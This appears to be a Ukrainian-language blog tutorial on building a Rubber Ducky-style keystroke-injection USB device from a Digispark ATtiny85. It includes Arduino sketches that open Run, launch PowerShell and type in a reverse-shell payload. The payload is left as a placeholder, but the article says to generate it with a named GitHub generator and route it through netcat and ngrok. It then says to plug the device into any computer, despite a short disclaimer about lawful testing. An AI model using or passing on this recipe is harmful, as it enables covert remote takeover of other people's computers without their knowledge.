Як зробити Rubber Ducky з Digispark ATtiny85. Приклад з Reverse Shell’ом

14.08.2024 1 хвилин Автор: Lady Liberty

Rubber Ducky — це відомий хакерський інструмент, який виглядає як звичайна USB-флешка, але насправді є пристроєм, що автоматично виконує команди на комп’ютері, до якого він підключений. З допомогою спеціального скрипта, Rubber Ducky може здійснювати автоматизовані атаки на комп’ютери, наприклад, вводити команди або запускати скрипти без відома користувача. Проте, оригінальний Rubber Ducky є досить дорогим, і його можна замінити більш економічним варіантом — Digispark ATtiny85. У цій статті ми розглянемо, як створити власний Rubber Ducky за допомогою Digispark ATtiny85.

Дисклеймер: Ця стаття підготовлена на основі інформації з відкритих джерел і має виключно освітні та дослідницькі цілі. Всі наведені інструкції та приклади призначені для демонстрації роботи з мікроконтролерами та програмування. Використовувати ці інструменти потрібно лише в законних цілях, таких як тестування власних систем або з дозволу власників. Ми не підтримуємо та не заохочуємо жодних незаконних дій. Завжди дотримуйтесь законодавства та етичних норм у використанні технічних знань.

Що вам знадобиться

  1. Digispark ATtiny85 — мікроконтролер, який буде основою вашого Rubber Ducky.

  2. Arduino IDE — середовище розробки, в якому ви будете писати і завантажувати скрипти на Digispark.

  3. Комп’ютер з USB-портом для програмування Digispark.

Крок 1: Налаштування Arduino IDE для роботи з Digispark

  1. Завантажте та встановіть Arduino IDE на ваш комп’ютер.

  2. Відкрийте Arduino IDE і перейдіть до File > Preferences.

  3. У полі Additional Board Manager URLs додайте наступний URL: http://digistump.com/package_digistump_index.json.

  4. Натисніть OK і перейдіть до Tools > Board > Boards Manager.

  5. Знайдіть Digispark (by Digistump) і встановіть його.

Крок 2: Написання коду для Rubber Ducky

Ось приклад коду, який імітує Rubber Ducky, вводячи команди на комп’ютері.

#include "DigiKeyboard.h"

void setup() {
  DigiKeyboard.sendKeyStroke(0); // Відправка нульового коду для ініціалізації
}

void loop() {
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Win + R для відкриття діалогового вікна "Виконати"
  DigiKeyboard.delay(500);
  DigiKeyboard.print("cmd"); // Введення "cmd"
  DigiKeyboard.sendKeyStroke(KEY_ENTER); // Нажаття Enter
  DigiKeyboard.delay(500);
  DigiKeyboard.print("ipconfig"); // Введення команди ipconfig
  DigiKeyboard.sendKeyStroke(KEY_ENTER); // Нажаття Enter
  DigiKeyboard.delay(5000); // Очікування, щоб вивести результат
  DigiKeyboard.sendKeyStroke(KEY_ESC); // Закриття командного рядка
  while(1) {} // Зупинка виконання коду
}

Цей код спочатку натискає комбінацію клавіш Win + R, щоб відкрити діалогове вікно “Виконати”, потім вводить команду cmd, натискає Enter для відкриття командного рядка і запускає команду ipconfig для відображення інформації про мережеві інтерфейси. Однак замість команди ipconfig ми вставимо власний шел для доступу до комп’ютера.

Для початку на своєму пк ми ставимо netcat і ngrok. Також нам треба встановленний python(3.8 підійде) і https://github.com/deeexcee-io/PowerShell-Reverse-Shell-Generator генеруємо наш код программою. В значення підставляємо те що нам дав ngrok і готовий код буде таким:

#include "DigiKeyboard.h"

void setup() {
  DigiKeyboard.sendKeyStroke(0); // Відправка нульового коду для ініціалізації
}

void loop() {
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Win + R для відкриття діалогового вікна "Виконати"
  DigiKeyboard.delay(500);
  DigiKeyboard.print("powershell"); // Введення "powershell"
  DigiKeyboard.sendKeyStroke(KEY_ENTER); // Нажаття Enter
  DigiKeyboard.delay(500);
  DigiKeyboard.print(“(((НАШ КОД)))"); // Введення команди 
  DigiKeyboard.sendKeyStroke(KEY_ENTER); // Нажаття Enter
  DigiKeyboard.delay(500); // Очікування, але маленьке
  DigiKeyboard.sendKeyStroke(KEY_ESC); // Закриття командного рядка
  while(1) {} // Зупинка виконання коду
}

Крок 3: Завантаження коду на Digispark

  1. Підключіть ваш Digispark ATtiny85 до комп’ютера.

  2. У Arduino IDE оберіть Tools > Board > Digispark (Default – 16.5mhz).

  3. Натисніть кнопку Upload. Arduino IDE попросить підключити Digispark до USB (якщо він ще не підключений). Завантаження коду відбудеться автоматично після підключення.

Крок 4: Використання Digispark Rubber Ducky

Тепер, після завантаження коду на Digispark, ви можете підключити його до будь-якого комп’ютера. Як тільки Digispark буде підключено до USB-порту, він автоматично виконає запрограмовані дії.

Висновок

Використання Digispark ATtiny85 як альтернативи Rubber Ducky — це цікавий і доступний спосіб ознайомитися з автоматизацією команд та можливостями мікроконтролерів. Такий інструмент можна застосовувати для створення демонстраційних сценаріїв або тестування безпеки комп’ютера.

Якщо у Вас виникають проблеми, то Ви можете зв’язатися з нами за допомогою [email protected].

Підписатися
Сповістити про
0 Коментарі
Найстаріші
Найновіше Найбільше голосів
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.